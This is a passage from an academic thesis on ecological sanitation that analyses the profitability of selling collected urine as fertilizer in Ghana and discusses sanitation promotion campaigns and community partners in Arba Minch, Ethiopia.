Vinnerås, 2004; WASTE, 2005). The project Kade is highly sensitive to both the cost of biodiesel production and to the demand for biodiesel. Also, the demand for transportation of FFB is important for the profitability of the project. The project Kade should not be implemented unless it
170 146 is possible to ensure that the demand for biodiesel and transportation of FFB is in place. The highest contributor to the costs in both projects is transportation. This can best be seen with the two alternatives for the project Accra. With Accra 1, urine is transported over 80 km (round trip). Only 13 % of the time there is enough cargo (poultry manure) to bring on the return trip to compensate for the transportation costs. The rest of the return trips the truck comes back empty. With Accra 2, urine is transported over 80 km only as often as the cargo capacity on the return trip allows (4 times per month), and the rest of the time urine is sold closer to the origin (30 km, round trip) to maize farmers. This change results in a slightly higher NPV (approx. 22 % higher) as well as lower dependence on potentially increasing transportation costs. Transportation is also a considerable cost in the project Kade, together with biodiesel production costs. In order to increase the profit, the price of biodiesel could be increased once the market presence is ensured. In addition, other profit generating activities should be explored, e.g., building more UDDTs and selling collected and sanitized urine as fertilizer to farmers or using it to cover ARS own fertilizer requirements. The analysis of external and internal factors related to the transportation costs showed that the project Accra 1 is the most sensitive to these variables due to the longer distances over which urine needs to be transported (see Table 4.36). The nature of the product to be transported plays an important role and urine has a considerably low fertilizing value to volume ratio. The project Accra 2 is the least sensitive to the variables analyzed in Table 4.36 due to the fact that transportation distance has been significantly decreased in comparison to the project Accra 1 and due to the fact that the revenues for project Kade are comprised of transport related activities. Table 4.36: Summary of the sensitivity analysis of variables of transportation costs for all projects (1= most important effect, 2= important effect, 3= least important effect) Variable "Accra 1" "Accra 2" "Kade" Fuel price Truck price Transportation costs (excluding truck price) Transportation distance The investment for the project Accra 2 is higher than for Accra 1 and the revenues are exactly the same, whereas the investment for the project Kade is similar to the one for Accra 2, but the revenues are much higher. Thus, if the project s lifetime is extended from 5 years to 8 years, it will have a more significant effect on the NPV of project Accra 2 than on Accra 1 and Kade. The extension of the project s lifetime illustrates the contribution of the depreciation or lifetime of the investments (Schröder, 2010). Even though the potential profitability of the projects has been proven by the extensive profitability analysis, its practicability needs to be tested on the ground. It is important to consider the risks related to road conditions and the high rate of road accidents in Ghana, which might impede the project s successful execution. The big advantage of the proposed projects is that the collection and transportation of urine is performed in bulk. A study on the marketability of human excreta in Uganda
171 147 concluded that collection of urine from individual toilet facilities is not feasible and the system required setting up of collection points (Schröder, 2010). This is not necessary with regard to the discussed projects due to the origin of the urine (e.g., public urinals in the congested area in the center in Accra) and its related high collection volumes. However, if the project is to expand to other areas and collect urine from single households, setting up of collection points might be required. Fertilization needs satisfied with urine Fertilization needs that can be met using urine for all three projects are presented in Table In the case of maize farms located in Accra, almost 26 % of the fertilizer needs can be offset with the urine collected from fourteen public urinals in the center of Accra. There are also other farms located in Accra, including 47 ha under vegetable cultivation and 251 ha under mixed cereal-vegetable systems (Kufogbe et al., 2005 cited in Obuobie et al., 2006). Urban farmers spread over Accra may be considered as possible buyers of urine for its application as fertilizer on their farms. Even though it seems that selling urine to, for example, vegetable farmers might be a good solution, it needs to be handled with precaution as farmers might be reluctant to apply urine on land used to cultivate edible crops due to the risk of social rejection. Table 4.37: Fertilization needs a that can be met by using urine with projects Accra 1, Accra 2 and Kade Project "Accra 1" "Accra 2" "Kade" Location Nsawam Nsawam Accra Kade Kade Kassod Crop fertilized Oil palm Oil palm Maize Oil palm tree Urine volume (l/year) 2,556, ,000 2,220,000 87,518 3,732 Urine applied (l/ha) 9,672 9,672 12,737 9,672 3,732 Area fertilized with urine (ha/year) Area available (ha) n.a. b n.a. b Fertilization needs met using urine (%) n.a. n.a % 4.5 % 100.0% a) Due to the high nitrogen content of urine, fertilization needs were calculated based on the nitrogen nutritional requirements of the crops listed in the table above. b) Information on the exact size of oil palm plantations in Nsawam is not available. Using stored urine for fertilization of non-food crops will play an important role in the acceptance by the society. In the case of the ARS with a single UDDT complex, it is possible to offset about 4.5 % of the fertilizer needs for the ARS oil palm farm and all the fertilizer needs of the Kassod tree planted for fuel wood production (see Table 4.37). Also, production of biodiesel makes it possible to fully cover fuel consumption of the ARS. Public toilet owners, palm oil producers and the agricultural sector can also benefit from this project. A project of this type requires a rather small capital investment. Employment generation, improvement of the sanitary situation and the standard of living for urban inhabitants and environmental sustainability are among the clear benefits of the discussed development. Finding multi-tasked options such as utilizing cargo capacity of trucks will help to minimize the costs of urine transportation. Further research should consider making use of sanitized feces in the proposed supply chain.
172 148 Results presented in Table 4.37 show that the projects presented have a potential of covering some of the fertilization needs, however, an expansion of the presented projects is necessary in order to meet substantial fertilization needs. Energy Using urine in place of mineral fertilizer saves energy. The calculation is based on average primary energy consumption for N, P and K production after Patyk and Reinhardt (1997). The results are summarized in Table The highest energy savings can be potentially achieved with the Accra 1 and Accra 2 project due to the large volumes of urine available (2,550,000 l/year) and the resulting large area fertilized with urine (264 ha/year) (refer to Table 4.37). Table 4.38: Average energy savings through application of urine in projects Accra 1, Accra 2 and Kade "Accra 1" "Accra 2" "Kade" Average energy saved Nsawam Nsawam Accra Kade Kade Oil palm Oil palm Maize Oil palm Kassod tree K (kwh/year) 14,122 1,857 12, N (kwh/year) 175,111 23, ,152 5, P (kwh/year) 3, , Total 192,980 25, ,677 6, Parameters for the calculation of the potential energy savings possible through the application of urine in place of mineral fertilizers are presented in Appendix E.4. Further opportunities for urine collection Opportunities for urine collection in the Kwaebibirem District and Accra for future application as fertilizer are presented in Table The variables for the calculations include: 0.5 l of urine excreted per person per day, pupils attending school 200 days a year, 72 l of urine to meet nitrogen nutritional requirements of an oil palm tree (see Table 4.11) and a value of nutrients contained in urine of GH /l (see Table 4.5). As already mentioned, current yields on oil palm plantations in Kwaebibirem District are low (see Table 4.39). Damang village with a population of 5,500 permanent and temporary residents, has 250 ha of oil palm plantation. Building or modifying existing sanitation facilities for urine collection will allow the village to meet 38 % of their oil palm fertilizer needs. If a UDDT complex is built for Adventist Preparatory and Junior High located in Kade with 800 students, 27 % of their oil palm fertilizer needs will be met. A school in Dumpong village with 200 students can collect 20,000 l of urine per year. The school can potentially sell the urine to neighboring farms and earn up to 290 GH /year. If ARS builds another UDDT complex to provide sanitation for both permanent and temporary residents, it can collect urine to satisfy 4.8 % of their fertilizer needs. The oil palm plantation of GOPDC extends over 4,500 ha, and consequently, covering sanitation needs with urine diverting facilities and collecting urine for application on oil palm fields can meet only 1 % of the fertilizing needs.
173 149 Table 4.39: Opportunities for urine collection in Accra and the Kwaebibirem District GOPDC Damang Village Adventist Preparatory & Junior High School in Dumpong village ARS Location Kwae Damang Kade Dumpong Kade Population 500 5, Temporary workers 1, Students/pupils Total population (permanent and temporary) 1,700 5, Assumed amount of urine collected (l/year) 310, ,500 80,000 20,000 95,625 Plantation (ha) 4,750 a Plants planted per ha Current yield (t FFB/ha) Urine required for plantation (l/year) 47,644,717 2,507, , ,006,093 Urine lacking (l/year) 47,334,467 1,545, , ,910,468 Urine lacking (%) a) GOPDC has 18,750 hectares of oil palm plantations at Kwae, of which 4,750 ha is the nucleus estate, whereas the remaining 14,000 ha are outgrower and smallholder farms. Information presented in the table is based on the following sources: Martinez Neri, 2009; Ministry of Food and Agriculture, 2010; pers. correspondence, I. Martinez Neri, ; Business in Ghana, 2011 and pers. correspondence, Dr. G. Ofosu-Budu, Research Officer at ARS,
174 150 5 PROMOTION OF ECOSAN In water and sanitation programs, continued access to sanitation services is not enough to sustain hygienic behavior (Shordt, 2004). In order to create demand for sanitation facilities and prompt behavioral change, it is important to consider software aspects of sanitation interventions. In this chapter, first, different promotion strategies are described. Then, sanitation culture in Ghana and Ethiopia is illustrated. Subsequently, promotion through media in Ghana and Ethiopia is discussed. In addition, possible campaign partners are described. Finally, an exemplary sanitation promotional campaign for Arba Minch in Ethiopia is presented. 5.1 Promotion strategies Promotion strategies have to be in line with the local situation analysis. A selection of promotional strategies are discussed further Social marketing There are many modern concepts that could be exercised by sanitation entrepreneurs in developing countries. One of them is sanitation marketing, which is a type of social marketing. For more information on sanitation marketing refer to Section Using marketing tools to stimulate demand and sell sanitary products as desirable goods proved successful in developing countries, as already discussed on the example of Kentainers and Ecotact in Kenya (refer to Section 2.4.5) Media Promoting ecosan can be performed through media, e.g., radio, newspaper and television. Media can be used in order to broadcast paid advertisements and to publish or broadcast reports on a particular sanitation project or event. For media to be willing to report on it, it is necessary to attract their interest. Media will be interested in reporting on topics that can be related to current events and that have a link to other up-to-date issues such as education, food security or restoring soil fertility. The topic of sanitation should appear in media on a regular basis to attract more interest. For example, organization of a news conference would allow presenting information all around the topic of ecosan. Prior to contacting the media, one should check what topics a radio station or a newspaper deals with and whether they match the message of the campaign. Media could also broadcast interviews with employees that are working on an ecosan project. In general, in order to attract attention of media and general public, the message needs to be provocative or even controversial. Journalists who do not know much about sanitation and are to produce informative accurate stories, need to be properly briefed (Simpson-Hébert and Wood, 1998). It can be done through a press briefing, which is thought to educate journalists on the topic. It is helpful to provide information material in a form of information sheets or advocacy publications to distribute (Simpson-Hébert and Wood, 1998). Press briefing should be arranged prior to an important event already planned. Journalists should be then briefed on key developments and issues relating to ecosan and the company s relevant work and policy.
175 151 Visuals are always important for a newspaper to report on a story. The best and most cost-effective way is to organize a photo opportunity, where journalists could take photos of, e.g., demonstration toilets and farmlands where urine was applied as fertilizer Participatory methods A wide variety of participatory methods, e.g., community mapping, training of trainers, three pile sorting cards and a sanitation ladder approach, is commonly used by NGOs implementing water and sanitation interventions. Mapping of water and sanitation facilities in a community helps to develop a common vision and understanding of ways in which water can get contaminated, to examine hygiene behavior, analyze good and bad hygiene practices, identify existing barriers and jointly come up with possible measures. In training aspects, it is important to remember that women should be taught by women in a language they feel comfortable with. When teachers share the same culture and heritage, it is easier to deliver the sanitation message. Three pile sorting cards are cards with pictures, words or sentences (depending on the literacy rate) which provide positive, negative or neutral aspects of different sanitation options and their use. By sorting the cards and discussing them, knowledge of the participants can be assessed (Wegelin-Schuringa, 2000). The sanitation ladder approach is a very common participatory method, where different sanitation technologies are shown on cards, participants sort the cards by the level of technology and express their temporary and future position (Wegelin- Schuringa, 2000) Slogan and logo Every successful promotional campaign has a logo or a slogan. Slogans must be short and catchy in order to attract attention. A logo has to be aesthetic and eyecatching. A slogan should not be limited to health aspects due to the fact that they are not common reasons for sanitation adoption (Saywell and Cotton, 1998; Jenkins and Curtis, 2005; Baskovich, 2010). Simple slogans such as: Sanitation. A right of every citizen. ; Toilets are good for you! ; Don t waste your waste! ; Toilets are dignity! ; Privacy is not costly. ; Sanitation saves money. could be used (Blume, 2009). Furthermore, an agreed logo could be drawn on walls of households that adopted ecosan so that they could be recognized as contact persons (Meier, 2008). Using slogans, logos and posters, a sanitation promotional package could be created. It could be used to win new partners and to convince community members about the advantages of the ecosan approach Market stand In many cities in developing countries, including Arba Minch (Ethiopia) and Accra (Ghana), there are regular market days, which are visited by a large number of people. Therefore, a market stand could be set up, where people could get information regarding ecosan. In order to make the market stand more interesting, musicians or local politicians could be invited to participate. Music and refreshing drinks would attract people. In addition, ecosan products (composted feces and stored urine) could be displayed so that people could see that these products do not
176 152 smell, thus a good attitude could be created. Information materials, contact details to toilet builders, ecosan users, companies producing toilet slabs and information on the costs of ecosan components could be available at the market stand Demonstration facilities Sanitation facilities for demonstration can be provided at schools, universities, public institutions, private households (preferably of political and religious leaders), church plots, private companies selling ecosan components and show parks or toilet centers (sani-marts). It is important to build demonstration toilets that are replicable and from components that are readily available (Ayele, 2005). Private companies and toilet centers can provide a variety of options for demonstration purposes, including, e.g., urinals for men and women, sitting and squatting options, options for washers, in order to show a variety of technology options available for adoption. By experiencing a sanitation facility, people can understand its benefits and make an informed choice. 5.2 Right message The right message is crucial for an ecosan campaign. It is important to direct the message at a particular audience, taking into account their expressed reasons for sanitation adoption and constraints. Sanitation campaigns revolving around health aspects have not been successful and reasons other than health are often the ones that influence investment in sanitation facilities (Saywell and Cotton, 1998; Jenkins and Curtis, 2005; Baskovich, 2010). Information on the sanitation culture in a particular country will help to prepare an appropriate campaign. In order to deliver the message of the campaign effectively, one should narrow it down to the essential core and use only a few simple key messages that will be easily understood by the audience. It should be a message that draws attention (e.g., provocative), is appropriate (e.g., gender-specific) and is delivered timely (e.g., before elections, farming period). 5.3 Potential campaign partners It is important to have local partners because such a delicate topic as sanitation cannot be brought to the community from the outside, by people whom they may not trust. Local partners can obtain and spread information as well as carry out activities that are limited to the people knowing the local reality. Ecosan should be presented by peers. Otherwise it could be perceived as something unnecessary as the communities had managed without it for so long. Consequently, it is crucial to work together with communities and their decision-makers and leaders. There have been cases of leaders sabotaging sanitation projects or redirecting sanitation funds into their own pockets because they may fear the loss of authority as foreign ideas begin to spread (McConville, 2003, p.4). While working with partners, it is significant that both sides can benefit from the cooperation in order to generate the necessary motivation. For example, cooperating with NGOs helps to reach a wider range of people, provides professional help from people working in the area and knowing the local reality. 5.4 Promotion of ecosan in Ethiopia As already discussed, an adequate sanitation promotion campaign needs to be planned in line with local conditions.
177 Sanitation culture in Ethiopia O'Loughlin et al. (2006) found out that latrine ownership in Amhara, Ethiopia was connected with education, relative wealth, urban residence and history of travel. These findings are in line with other studies (Mukherjee, 2001; Jenkins and Curtis, 2005). It was also found out that the main reported advantages of latrines in Amhara were cleanliness, health benefits, privacy and convenience (O'Loughlin et al., 2006). In Amhara, reasons for non-adoption of sanitation included lack of manpower, lack of time and lack of awareness of latrines and sanitation (O'Loughlin et al., 2006), which clearly shows the importance of an appropriate awareness raising campaign. Another study in Ethiopia (in Arsi located in the Oromia Region and Gondar located in the Amhara Region) revealed the following aspects affecting sanitation adoption (Ayele, 2005, p.3-4): a lack of appreciation of health risks associated with open defecation cultural factors which favor open defecation or discourage latrine use traditional beliefs affecting the perception of latrines past experiences affecting attitudes towards latrine construction and use various factors affecting local and individual preferences. Obstacles to sanitation adoption observed by WaterAid Ethiopia include the availability of other options such as open field or bush, bad reputation of public toilets in urban areas and economic constraints (pers. communication, K. Mamo, WaterAid Ethiopia, Addis Ababa, ). An interviewee from Oxfam Ethiopia listed the following obstacles to sanitation adoption in Ethiopia: cultural barriers, lack of knowledge about the health-sanitation link, priority of allocation of resources for food security, lack of local capacity (local government, NGOs) and lack of building materials (pers. communication, S. Mekonnen, Oxfam Ethiopia, Addis Ababa, ). A representative of the Catholic Mission, another NGO working in Arba Minch, stated that the challenge of sanitation adoption is in people being reluctant to allocate their resources for sanitation (pers. communication, A. Tadesse, Catholic Mission, Arba Minch, ). Generally, communities cannot understand the immediate consequences of poor sanitation. They also tend to give their own justification to the fact why it is not their main priority. They see open spaces as a sanitation option and they do not understand why it should be fixed in one place, on which they are expected to spend their limited resources. While planning a promotional campaign, it is important to study the local area. The message behind the campaign should be tailored to the local reality, relating to the economic aspects of open defecation, status, privacy and safety. For example, a competition between households proved to be a successful motivation for sanitation adoption in Amhara. Households which fulfilled all hygiene and sanitation criteria were awarded a white flag (pers. communication, K. Mamo, WaterAid Ethiopia, Addis Ababa, ). This can be also attributed to the prestige factor acting as a motivator. The white flag could be seen from a distance, indicating that this particular household is modern and able to afford sanitation facilities. Understanding local culture is crucial for the sanitation project to become successful. A sanitation campaign needs to be in line with local beliefs, preferences and cultural sensitivity. Generally, handling of human excreta is a cultural problem in Ethiopia. Nevertheless, if a necessary care is taken and cultural concerns and fears are
178 154 considered, it is also possible to implement resource-oriented sanitation systems in feacophobic societies (Warner et al., 2006). There are many examples of behavior patterns that need to be known in order to design and carry out a successful sanitation promotion campaign. For example, in some villages in southern Ethiopia, women are not allowed defecating in the same place as men (Pickford, 2001). In northern Ethiopia, people refused to use latrines, around which no trees were located as they used leaves for anal cleaning (Pickford, 2001). Even though the community-led total sanitation (CLTS) approach of the NGO called Vita was successful in many villages in the SNNP Region (refer to Section ), it failed in Turmi (also located in the SNNP Region), which is dominated by semi-nomadic and pastoral communities. A similar problem was faced by Oxfam in the Somali Region, while working with pastoral communities (pers. communication, S. Mekonnen, Oxfam Ethiopia, Addis Ababa, ). The NGO found it hard to promote sanitation there due to the fact that open defecation is widely practiced, the area is not densely populated, the evaporation rate is high and the awareness levels are low. According to the Society for Urban Development in East Africa (SUDEA), culture should not be taken as a hindrance to promote recycling of human excreta as fertilizer even though cultural sensitivity is important (Terrefe and Edstrom, 2005, p.2). The cultural aspects have been discussed prior to the implementation of the SUDEA project in Ethiopia. SUDEA s experience in Ethiopia shows that the most difficult to convince were the groups of autocrats and medical personnel. The groups of agronomists, who are used to applying animal excreta as fertilizer, were easier to convince. The method that proved best was showing how sanitized feces and urine is applied. When people see how the system works and that it does not involve any odors, they are able to accept it. Consequently, good communication is the prerequisite for promoting ecosan. Promoters need to have adequate knowledge about how the system works and be convinced of its appropriateness. They need to answer any arising questions without hesitation. Gender is an important consideration in sanitation campaigns. In the SNNP Region, women have been identified as the main drivers of latrine construction (Bibby and Knapp, 2007). They were the ones who complained about how open defecation affects their lives and highlighted the risks of contact with feces in open spaces (Bibby and Knapp, 2007). Their self-respect often deters them from practicing open defecation in daytime and leads to health problems such as urinary tract infections. Shame was often cited as a strong motivator for latrine construction in the SNNP Region and it referred both to households and administrative levels (Bibby and Knapp, 2007) Sanitation promotion through media in Ethiopia Different media channels for sanitation promotion in Ethiopia are discussed further Radio Radio is one of the most important communication means in Ethiopia and it has a large coverage area. According to 2007 statistics, as many as 74 % of the housing
179 155 units 66 in Arba Minch owned a radio (CSA, 2007). In the SNNP Region, the Voice of South, FM is the most popular radio station. It is owned by the southern regional state and it has a regional coverage of 250 km radius from Awassa (Getahun, 2006). This radio has already been used for broadcasting spots related to community mobilization (e.g., on immunization) or reporting on the events of the Global Hand Washing Day. In 2006, Forum of Social Studies launched via the radio Voice of South a development-oriented radio program called Jember (Forum for Social Studies, 2009). The goal of this program is to develop educational programs and promote development in the region through disseminating information to a large audience. The program covers many issues, among which the methods of improving hygiene practices are discussed. The program is also designed to help boost the services of various governmental organizations, NGOs and CBOs, which are currently operating in different areas of the region, carrying out development activities. Looking at the examples above, it makes sense to advertise ecosan on radio and to engage journalists to report on the most important events around the topic of health and sanitation in the SNNP Region. One can reach a large audience through a regional radio. Therefore, the radio Voice of South could be used for broadcasting advertisements and report on current programs, projects and activities related to ecosan. The cooperation with the radio station could include, for example, a report on current activities at schools, interviews with students and teachers who use ecosan and viewing of demonstration toilets or school gardens, where excreta based fertilizers are applied. Students can prepare a song about ecosan, which could be later used as a radio jingle. An expert could be invited to a call-in radio program where listeners could ask questions regarding, e.g., the operation and maintenance of toilets, material availability for toilet building and agricultural application of excreta based fertilizers. Call-in radio programs are very popular in Africa. It is important to consider the language chosen for such a radio program so that it reaches the majority of people living in the region (refer to Figure 5.1). Konsso (Konsigna); 2% Koyra (Koyrigna); 1% Others; 6% Tigre (Tigrigna); 2% Gofa (Gofigna); 5% Wolayta (Wolaytigna); 7% Gamo (Gomugna); 44% Oromo (Oromigna); 8% Amhara (Amhargna); 25% Figure 5.1: Languages spoken in Arba Minch (based on AMU and ARB, 2007) 66 In the SNNP Region, a housing unit consists of households (CSA, 2007).
180 Newspapers According to the information obtained at the Information and Culture Department in Arba Minch (pers. communication, Arba Minch, ), Addis Zemen, Debub Nigat and Ethiopian Herald are the most read newspapers in Arba Minch. Other popular newspapers include Qum Nager, Addis Admass and Ethiopian Reporter. Debub Nigat is published by the Regional Bureau of Information in Awassa. The core topics of the newspaper include regional legislation, agriculture, health, tourism and entertainment (Ahlert et al., 2008). The topics of agriculture and health provide good links to the topic of ecosan. When using newspapers for sanitation promotion, it is important to consider the illiteracy rate in Arba Minch, which was estimated at 30 % (DHV Consultants, 2002) Television According to 2007 statistics, 25 % of the housing units in Arba Minch own a television (CSA, 2007). Almost 18 % of the housing units in urban areas and only 0.4 % of the housing units in rural areas in the SNNP Region own a television (CSA, 2007). Using television for advertising of ecosan in Arba Minch would reach only a limited number of people. However, due to their economic and social status, they can be considered as key persons. These people could be decision-makers and they would be financially capable of installing different types of toilets and possibly make them available for viewing. Advertising through television makes sense in cities like Addis Ababa, where as many as 56 % of the housing units 67 owned a television in 2007 (CSA, 2007). Thus, the high cost of advertising can be compensated by reaching a large number of people. In a city like Arba Minch, where only a small number of households has access to television, other forms of advertising should be explored first Possible campaign partners in Ethiopia Potential partners for an ecosan promotional campaign in Ethiopia are discussed further Community-based organizations Many CBOs are active in Arba Minch, of which idirs, equbs, religious and youth groups are the most common (Schubert, 2008). CBOs have different financial structures; some of them provide credits for their members, others finance projects, make state credits available and use their experience in the collection, management and allocation of finance. CBOs operating in Arba Minch are discussed further. Idirs The original purpose of idirs is financing and organizing of funerals for their members. However, their activities also include building and running of public water taps, helping the poor by distributing food, paying rents for member households that 67 In Addis Ababa, a housing unit consists of households (CSA, 2007).
181 157 cannot afford it, buying learning materials for children, educating on AIDS, etc. Idirs do not provide credits to their members. The main motivation to become an idir member is the socio-economic security and support that the CBO provides (Schubert, 2008). A membership allows taking part in the life of a community and raises the social status. The idir membership rate of households in Arba Minch and its vicinity varies between % (Schubert, 2008). Idir members are of different ethnicity, religion, political affinity and income level. However, very poor inhabitants who are not able to afford the average membership fee of ETB 5 or people living in informal settlements are not idir members (Schubert, 2008). Idirs have well-established organizational structures that could be used in an ecosan campaign. They create good potential links to communities. Some idirs have already worked with local administration, e.g., by cooperatively building infrastructure; others have participated in trainings organized by kebeles, where they were taught about health and hygiene issues (Schubert, 2008). Groups like idirs are a good panel for dissemination of knowledge as their members trust each other and meet on a regular basis. Also, idirs invite experts from local administration or NGOs to carry out awareness raising campaigns on health-related issues. Equbs Equbs are rotating saving and credit associations. In equbs, members collect money and distribute it among themselves following set rules. However, equbs are not profit oriented. They can be described as an alternative to banks. The main aim of equbs is to strengthen the financial capacity of their members, by placing a relatively high amount of money at their disposal, so that they can invest it in a new or upgrade an existing business. A regular fee is collected from members and on a given date the amount is distributed to one of the members. The decision on which member receives the money is made by drawing lots. Equbs are not area based. Members choose an equb due to its reputation, recommendations of friends or business partners, the reliability of other members and the leadership (Schubert, 2008). Theoretically, everyone can join equbs, providing that they can pay the membership fee. A membership in an equb is connected with social status and good reputation within a community (Schubert, 2008). The clear motivation to become an equb member is to receive a credit without having to pay an interest rate. Equbs offer the opportunity to receive money fast and without any interest or service fee. However, this advantage depends on luck. If someone needs money urgently, they have the possibility of applying to receive it but they have to pay an interest rate that is nevertheless lower than that of a bank. Therefore, equbs could start providing short term loans with competitive interest rates compared to that of banks and microfinance institutions, e.g., for sanitation hardware. Youth groups The aim of youth groups is to improve the life of the youth. The main focus of the ras agez youth group is the provision of support for single members in difficult situations, whereas the aim of the Secha youth group is to prevent the youth from misbehavior (Schubert, 2008).
182 158 The ras agez group is founded and organized by young people and their work is based on social commitment. The Secha group is organized by kebele administration and is responsible for the Secha sub-city in Arba Minch. Nearly every young person in Arba Minch belongs to some kind of a youth group. Youth groups collect a monthly fee and have regular meetings. The motivation of joining a youth group is the social advantage that it brings along. Youth groups in Arba Minch have already worked in the sanitary field and often perform road cleaning campaigns (Schubert, 2008). They do not receive money from kebele administration for the work they carry out. Even though youth groups have already worked with the city administration, they have not partnered with NGOs yet. Religious groups The majority of the population in Arba Minch is Orthodox (56 %), followed by Protestants (39 %) and Muslims (4 %), as presented in Figure 5.2 (CSA, 2007). Schubert (2008) investigated two orthodox groups in Arba Minch. These groups can be identified as communities with close bonds to their members. They feel responsible for each other and help one another. They also support people outside of their group. They meet once a month in a house of one of their members. The motivation for the membership lies mainly in religious beliefs, but also a sense of social belonging. They pay a monthly fee, which is kept low so that poor people can also become members. Church groups in Arba Minch have not been active in the sanitation field (Schubert, 2008). Their main problem is the lack of financial capacity. Their members are sometimes not able to pay the monthly fee, so they do not have a financial capacity to participate in other activities. Catholic; 0.3% Traditional; 0.1% Muslim; 4.2% Other; 0.9% Protestant; 38.5% Orthodox; 56.0% Figure 5.2: Religion in Arba Minch (based on CSA, 2007) Small and medium enterprises (SMEs) The main purpose of SMEs is to reduce the unemployment rate and to generate income possibilities for the population (Schubert, 2008). Schubert (2008) investigated three SMEs working in the field of safe management and reuse of resources in Arba
183 159 Minch. Wubet is mainly focused on road cleaning, waste disposal from households 68 and institutions and waste reuse through composting. Egnan Naew Mayet Compost Product Association produces compost and sells vegetables and flowers, which have been treated with compost. Yeabsira Magedo Kotabi produces and sells stone circles which are used to cook on, reducing the need for firewood. SMEs pursue economic goals and work on the improvement of the local environmental conditions. The main motivation to become a member in an SME is to earn money and to improve one s financial situation. Other reasons include the willingness to contribute to the improvement of the environment in the neighborhood and a sense of social belonging. SMEs cooperate with the town administration and NGOs (Schubert, 2008). Yeabsira Magedo Kotabi is founded and supported by the women affairs office, which is a part of the town administration, whereas some of the other SMEs are supported by NGOs. Despite the willingness to cooperate, SMEs in Arba Minch do not participate in any other projects organized by the town, kebele administration or NGOs (Schubert, 2008). SMEs should finance themselves through revenues from products (e.g., compost) or services (e.g., waste collection, cleaning of roads). However, none of the three investigated SMEs was able to sustain themselves (Schubert, 2008). It can be attributed to the fact that their activities started only recently and they have not yet become well known in Arba Minch. Another reason is that the population is not willing to pay the demanded fee for a supplied service, like in the case of Wubet (Schubert, 2008). Also, the missing awareness regarding the value of the product results in no demand, like in the case of Egnan Naew Mayet Compost Product Association. SMEs are interested in new activities and are willing to try out new concepts and ideas. Wubet started their compost-related activities in cooperation with the ROSA project and they also expressed their willingness to transport urine and feces from ecosan systems, whereas Egnan Naew Mayet Compost Product Association is planning to work with biogas technologies (Schubert, 2008). Cooperation with CBOs Many of the CBOs operating in Arba Minch have never participated in any projects of the town, kebele administration or NGOs. They are rarely invited to participate even though they are generally willing to become involved. CBOs role in sanitation interventions should not be neglected and their ability to reach out to the communities should be explored. Idirs and the ras agez youth group can be used for the dissemination of information as they are deeply rooted in the society and concentrate on self-help. Due to the fact that they are limited to a particular area, they know exactly what problems their neighborhoods are facing. Another advantage is their heterogeneous structure, i.e. one can reach different social strata, age and profession groups and people belonging to different religions. 68 In Arba Minch, almost 4 % of the housing units have their waste collected by the municipality, almost 64 % of the housing units burn it, almost 21 % of the housing units dump their waste into open spaces and approx. 7 % of the housing units dump it into a river (CSA, 2007).
184 160 CBOs reach out over large areas so they can be used for the dissemination of information materials. Their structure can also be used for the allocation and repayment of loans or for lending of equipment, e.g., tools for toilet building. CBOs could be used as knowledge brokers and take part in different campaigns such as building of demonstration toilets or monitoring and maintenance of existing toilets. CBO members could be trained in cooperation with NGOs, for example, with Vita on the community-led total sanitation (CLTS) approach or Participatory Hygiene and Sanitation Transformation (PHAST). In order to promote ecosan, demonstration toilets should be built and arranged for viewing by community members. CBOs could organize visits of their members to households where such toilets are available. CBOs leaders could build demonstration toilets and act as a trigger for sanitation adoption as many people look up to them, trust them and follow their advice. SMEs can be used as suppliers of new products or services, e.g., transportation and storage of urine, composting of excreta, selling excreta based fertilizers to farmers and as good contact partners. CBOs that have an ideological background (religious groups and Secha youth group) could be used for the dissemination of knowledge to their members as long as the content of the information goes hand in hand with their principles. Such CBOs play a very important role in the lives of their members and they have a certain authority over them. People will trust the information they provide and follow their advice. However, these CBOs have a rather homogenous structure so the promotion program should be matched with a particular group that is planned to be reached. As already mentioned before, equbs could be used for providing credits to their members for, e.g., household toilet building or for the establishment of sanitation centers (so-called sani-marts) (refer to Section ) Schools and public institutions First of all, a workshop for headmasters in the region should be organized to inform and educate them on the ecosan approach. It could work as a trigger for them to implement ecosan. Toilet facilities should be built in cooperation with students, their parents and teachers. They have to be functional and visually attractive. In public institutions such as kebele offices, schools, kindergartens and hospitals, posters on ecosan could be displayed (Blume, 2009). These posters could include possibilities of visiting demonstration toilets (at schools or private households) or participating in courses or open discussions. Posters could be prepared by pupils during their health education, where the concept of ecosan could be included in the curriculum. Ideally, pupils would then bring their knowledge home, where they could discuss it with their relatives. Pupils can also participate in the promotional campaign by recording videos or distributing flyers at markets (Meier, 2008). In order for teachers to be able to promote health education, they should be trained, e.g., by CBOs or NGOs. College students could also be involved in the construction of toilets either at school plots or for private households. On the World Toilet Day (19.11), a school festival could be organized, where posters would be created by pupils in a drawing contest (Blume, 2009). Such a festival could be visited by other schools and inhabitants of the area, who would get the opportunity to visit demonstration toilets. Media could also be invited to report on the festival.
185 161 Pupils could be organized in ecosan clubs, where teachers would educate them on the importance of sanitation and pupils could create school plays, posters, write songs on the topic of sanitation and health. [E]ducation is more effective if people enjoy it, can participate actively in it, if it challenges their thinking or if it gives them new skills and self-confidence (Mathewson and Ayele, 2005, p.7). Ecosan or sanitation clubs could cooperate with clubs at other schools or universities. In order to use excreta based fertilizers, a school garden should be set up. The ROSA project built UDDTs in three schools in Arba Minch. In Nelson Mandela school, it is used by 213 people, in Chamo Elementary school by 61 people and in Hibret le lemat school by 25 people (AMU and ARB, 2009). It would be useful to plant different beds, a control one without using any fertilizers and another one with urine and feces used as fertilizer and soil conditioner. If a school has a canteen, it could use the products grown in a school garden (Blume, 2009). During an open day, a school garden could be presented to parents, journalists, local politicians, in order to show the advantage of adopting ecosan. Ideally, installing toilets at schools would result in spontaneous copying after parents have been informed about the system and its benefits Artists Artists are role models that are looked up to and adored. If artists are invited to cooperate in a promotional campaign, it would make the campaign more attractive, in particular to young people. Therefore, singers and musicians are valuable partners for a sanitation campaign. In Mozambique, a singer Feliciano dos Santos campaigns for clean water and sanitation (Kinver, 2008). One of his songs goes: Mothers, listen to me; grandmothers, listen to me, she doesn't listen to me. The slab is so good; the slab is easy to clean". It is a simple message and people follow it. As a result of the song, the demand for toilets soared and the project even struggled to cope with the increasing demand (Kinver, 2008). The singer also managed to influence politicians to join awareness raising campaigns, e.g., on the importance of hand washing. If it is possible to bring artists on board, a promotional campaign could benefit from it. Painters could also be contacted in order to paint toilet facilities, either at schools or public toilets as it has been proven that colorful slabs attract children to use toilets (Simpson-Hébert, 2007). This was recognized, for example, by the Catholic Relief Services in Ethiopia and Arborloo slabs were painted in bright colors in order to attract children Church Building of demonstration toilets on plots belonging to a church and offering them for viewing and 